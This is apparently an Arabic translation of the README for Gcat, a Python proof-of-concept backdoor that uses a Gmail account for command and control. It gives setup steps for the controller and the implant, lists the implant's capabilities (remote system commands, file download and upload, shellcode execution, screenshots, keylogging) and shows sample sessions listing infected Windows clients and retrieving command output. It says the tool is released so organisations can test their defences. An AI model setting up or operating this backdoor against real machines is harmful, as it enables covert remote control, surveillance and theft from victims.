
باب خلفي (PoC) يستخدم Gmail كخادم للقيادة والتحكم (C&C)
باب خلفي خفي مبني على Python يستخدم Gmail كخادم تحكم وقيادة
هذا المشروع مستوحى من كود PoC الأصلي لبنجامين دونلي
... تم إصداره للمؤسسات لاختبار دفاعاتها ضد هذا النوع من الهجمات. وللكشف عنها، انظر إلى مشاريع مثل RITA.
للحصول على نسخة أكثر حداثةً وصيانةً من هذا المشروع، راجع GDog
لكي يعمل هذا، تحتاج إلى:
يحتوي هذا المستودع على ملفين:
gcat.py وهو برنامج نصي يُستخدم لسرد العملاء المتاحين وإصدار الأوامر إليهمimplant.py وهو الباب الخلفي الفعلي الذي سيتم نشرهفي كلا الملفين، عدّل المتغيرين gmail_user و gmail_pwd ليشتملا على اسم المستخدم وكلمة المرور للحساب الذي أعددته مسبقًا.
من المحتمل أنك ستحتاج إلى تجميع implant.py إلى ملف تنفيذي باستخدام Pyinstaller
ملاحظة: يُنصح بتجميع implant.py باستخدام تثبيت Python 32-بت
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
". : o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-upload SRC DST Upload a file to the clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Meow!
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
المخرجات عبارة عن سلسلة UUID تعرّف النظام ونظام التشغيل الذي تعمل عليه الغرسة بشكل فريد
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
هنا نطلب من 90b2cd83-cb36-52de-84ee-99db6ff41a11 تنفيذ ipconfig /all، ثم يُخرج البرنامج النصي jobid الذي يمكننا استخدامه لاسترجاع مخرجات ذلك الأمر
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --